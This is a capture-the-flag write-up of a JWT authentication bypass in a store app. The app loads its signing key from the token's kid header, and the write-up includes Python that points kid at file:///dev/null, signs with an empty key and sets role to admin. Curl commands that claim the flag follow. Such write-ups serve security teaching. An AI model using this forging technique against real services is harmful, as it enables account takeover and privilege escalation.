
This is a web challenge built around a JWT authentication bypass. The store app signs and verifies session tokens with a key it loads from a path named in the token's own kid (Key ID) header, instead of a fixed, trusted key. Because the header is attacker-controlled, a player can point kid at a location whose contents they know, forge a token signed with that known value, and set role to admin in the payload — the server will trust the resulting token, elevate the account's balance, and let the player buy the FLAG product.
JWTs carry a header that names how the token was signed — alg, and sometimes kid or jku, meant to let a server pick which of several trusted keys to verify against. The mistake this challenge makes is treating kid as an instruction to fetch and use as the key, rather than as a lookup label into a fixed set the server already controls:
def load_secret_key(PATH):
return urlopen(PATH).read().strip()accepts arbitrary URL schemes, including
urlopen file://. Since the verifier resolves kid fresh on every request with no allow-list, whoever controls the JWT header controls which key the server signs and verifies with — a classic CWE-347 (improper verification of cryptographic signature) via key confusion.
Registering an account and logging in returns a normal, low-privilege auth_token cookie. Decoding it (without verifying the signature) shows the structure the app expects:
// header
{"alg": "HS256", "kid": "file:///app/keys/secret.txt"}
// payload
{"user_id": 2, "username": "player", "balance": 10, "role": "user", "exp": 1234567890}The kid in the header is the giveaway: it's a file:// path to a key file on the server's own filesystem, sitting right there in a field the client is allowed to set.
headers = jwt.get_unverified_header(token)
decoded = jwt.decode(token, load_secret_key(headers.get('kid')), algorithms=['HS256']) in
jwt_requiredauth.py re-resolves kid from the incoming token on every request — it never checks that the value matches the one the server itself issued.
The fix for load_secret_key would be to ignore kid entirely and always verify against one fixed server-side secret. Since it doesn't, the attack is to hand the verifier a key whose value we already know. urlopen happily serves local files too, and /dev/null is guaranteed to exist and be empty in the container — so pointing kid at file:///dev/null makes the "secret" an empty byte string, one we can trivially sign with ourselves.
Starting from a legitimate token (register + log in), the payload is decoded without verifying the old signature, role is bumped to admin, and the header's kid is swapped to file:///dev/null:
jwt_headers = jwt.get_unverified_header(token)
jwt_headers["kid"] = "file:///dev/null"
jwt_payload = jwt.decode(token, algorithms="HS256", options={"verify_signature": False})
jwt_payload["role"] = "admin"
forged = jwt.encode(jwt_payload, key=b"", algorithm="HS256", headers=jwt_headers)The server receives this cookie, resolves kid, reads /dev/null (empty), and verifies the signature against b"" — which matches, because that's exactly what we signed with. jwt_required then sees role == "admin" and bumps the session balance to 31337, reissuing a fresh admin-role token for the rest of the session.
With an admin-balance session cookie in hand, add the FLAG product (seeded as product id 21) to the cart and check out — the server reveals the flag in the flash message once the purchase clears:
curl -s -c cookies.txt -b cookies.txt -X POST http://<host>/register \
-d 'username=player&password=pw&confirm_password=pw'
curl -s -c cookies.txt -b cookies.txt -X POST http://<host>/login \
-d 'username=player&password=pw'
# forge the admin cookie as shown above, then:
curl -s -c cookies.txt -b cookies.txt -X POST http://<host>/add_to_cart/21 -d 'quantity=1'
curl -s -c cookies.txt -b cookies.txt -X POST http://<host>/checkout -d 'currency=USD&coupon='The checkout response contains MetaCTF{JWT_K1D_3xpl01t}.
kid/jku/jwk-style headers are a common JWT footgun (CWE-347) — any function that resolves them from a URL, path, or file needs to reject attacker input outright.